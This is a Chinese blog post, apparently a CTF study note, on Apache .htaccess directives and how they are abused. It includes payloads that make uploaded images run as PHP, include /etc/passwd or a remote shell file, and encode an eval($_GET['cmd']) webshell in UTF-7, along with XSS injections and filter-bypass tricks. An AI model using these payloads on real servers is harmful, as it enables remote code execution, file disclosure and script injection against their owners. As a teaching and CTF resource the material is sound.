Apache .htaccess
.htaccess是什么?
.htaccess是一个配置文件,用来运行Apache Web Server的Web服务器。当 .htaccess 文件被放置在一个目录中时,该目录又“通过 Apache Web 服务器加载”,然后 .htaccess 文件被 Apache Web 服务器软件检测并执行。
.htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All。
AllowOverride All #启动.htaccess文件的使用
常用字段
自定义出错误页面
向网站访问者显示友好的错误信息,不定义htaccess会显示404 File Not Found,定义htaccess可以显示自定义文件。
先自定义错误的回显文件。
1 | ErrorDocument 404 /error_pages/404.html |
告诉Apache服务器在发生404的时候显示 /error_pages/404html。
津门杯的UploadHub就出了这个考点的题目。
分析请看链接:
1 | #附件给出Apache配置 |
通过传hataccess,wp如下。
1 | <If "file('/flag')=~ /'''flag{xxxx'''/"> |
通过不断变换字符,写脚本爆破。
访问控制
限制用户访问目录或文件。
指定限制文件
1 | <Files 1.php> |
限制用户对文件1.php访问,访问1.php,会出现403。
使用通配符指定文件
1 | <Files *.php> |
重定向
重定向能将访问者从网站的文档引导到另一个文档。
创建.htaceess文件
1 | Redirect /hacker/ http://www.yourdomain.com/hackers/index.html |
将访问hacker的目录,引导到hackers的index.html。
SetHandler
SetHandler指令可以强制所有匹配的文件被一个指定的处理器处理。
1 | SetHandler application/x-httpd-php |
当前目录以及子目录所有文件将会被当作php解析。
AddHandler
AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。
1 | AddHandler cgi-script .xxx |
扩展名为 .xxx 的文件作为 CGI 脚本来处理。
AddType
AddType 指令可以将给定的文件扩展名映射到指定的内容类型。
1 | AddType application/x-httpd-php .png |
会将png为后缀的文件当作php文件解析。
php_value
.htaccess 文件允许你能够控制某个用户从你的站点(通过 PHP)单次上传数据量的大小。
1 | php_value auto_prepend_file 1.txt #在主文件解析之前自动解析#包含1.txt的内容 |
php_flag
php_flag 用来设定布尔值的php 配置指令。可以将engine 设置为0,在本目录和子目录中关闭php 解析,造成源码泄露。
1 | php_flag engine 0 |
zend.multibyte
开启时,将使用多字节编码,若使用的是utf-8则无需开启,自动使用
zend.script_encoding
设置脚本使用的编码
engine
是否启用php解析引擎,关闭时,访问php文件将不被执行,而是直接显示出源码
.htaccess文件利用。
htaccess 文件中,可利用 \ 和 换行绕过 waf 或关键字过滤
Add\
Type
脚本代码执行
1 | php_value auto_append_file .htaccess |
如果auto_append_file包含的文件存在脚本语言,则会被执行,这里直接包含了上传的.htaccess文件,同时该文件中含有php代码,则最终会被执行
# 号在 .htaccess 文件中为注释符
利用404页面
1 | <If "file('/flag')=~ /'''flag{xxxx'''/"> |
通过不断变换字符,刷新到flag{。
文件包含
本地文件包含
当前目录php文件头引入/etc/passwd。
1 | php_value auto_append_file /etc/passwd |
使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置
php_value include_path “xxx” 将 include() 的默认路径改变。
1 | php_value include_path "xxx" |
远程文件包含
PHP 的 all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。
1 | php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt |
伪协议
打开all_url_fopen、all_url_include为on
1 | 1.php_value auto_append_file data://text/plain;base64,bDNpZmUK |
后缀绕过
目标开启.htaccess并且上传黑名单没有限制.htaccess文件,先上传.hataccess文件,对目标环境的目录进行相关配置,在上传图片,使图片的 PHP 恶意代码得以被直接解析执行。
SetHandler指令
1
2
3<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>AddType指定
1
2AddType application/x-httpd-php .png
// 将.png当作php文件解析AddHandler
1
2
3AddHandler php5-script .txt
php_value auto_append_file 1.txt
// 不能直接访问,访问任意文件包含
UTF7 绕过
将文件以 UTF7 编码执行,用于绕过文件内容检测过滤
1 | php_flag zend.multibyte 1 |
UTF7 编码可使用以下代码得到:
1 |
|
1 | mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7"); |
XSS攻击
利用报错 XSS 攻击
.htaccess
1 | php_flag display_errors 1 |
然后访问一个存在错误的 php 文件即可触发脚本执行
原理分析:
display_errors 1 # 开启显示报错信息
html_errors 1 # 使用 html 标签显示报错信息,错误信息中含有 a 超链接,指引用户访问错误描述文档。
docref_root ,是用户指定的本地文档地址,您可以将文档下载到服务器,然后通过该参数,将错误描述信息的超链接替换为这个地址,而构造的 url 实现 XSS 攻击。
另有 docref_ext 可以指定文档后缀名,例如:docref_ext=.html
利用 highlight XSS
通过.hataccess文件设定highlight.comment,指定高亮内容,进行XSS。
原理同 报错 XSS,生成 颜色 的html 标签
1 | <span style="color: INJECTION"> |
设置的.hataccess文件。
1 | php_value highlight.comment '"><script>alert(/xss/);</script>' |
代码高亮颜色配置
highlight.comment
highlight.bg
highlight.default
highlight.html
highlight.keyword
highlight.string
error_log 和 include_path 执行
利用 error_log 指定错误日志,在 include 时,构造包含 php 代码的 payload,访问错误日志,导致解析执行。
.htaccess
1 | php_value error_log /var/www/html/flag.php |
访问包含 include 的 php 时,包含了一个不存在的文件,导致报错,报错中会显示错误语句并输出到指定的日志文件中,访问 flag.php ,将导致语句执行。
实操时,发现脚本不执行,字符被转义,需搭配编码绕过
1 | php_value error_log /var/www/html/flag.php |
Bypass
绕过关键字过滤
使用反斜杠\加换行实现。题目过滤type、php等敏感字符。
1 | AddTy\ |
绕过脏字符
使用#\绕过.hataccess。由于脏字符不属于.hataccess文件的语法或指定,使文件不生效,使用#对脏字符进行注释。
可以参考[XNUCA2019Qualifier]EasyPHP WP链接。
Author: 哒琳
Permalink: http://blog.jieis.cn/2022/e6433f20-f91c-4cac-856d-e6701f43a31d.html
Comments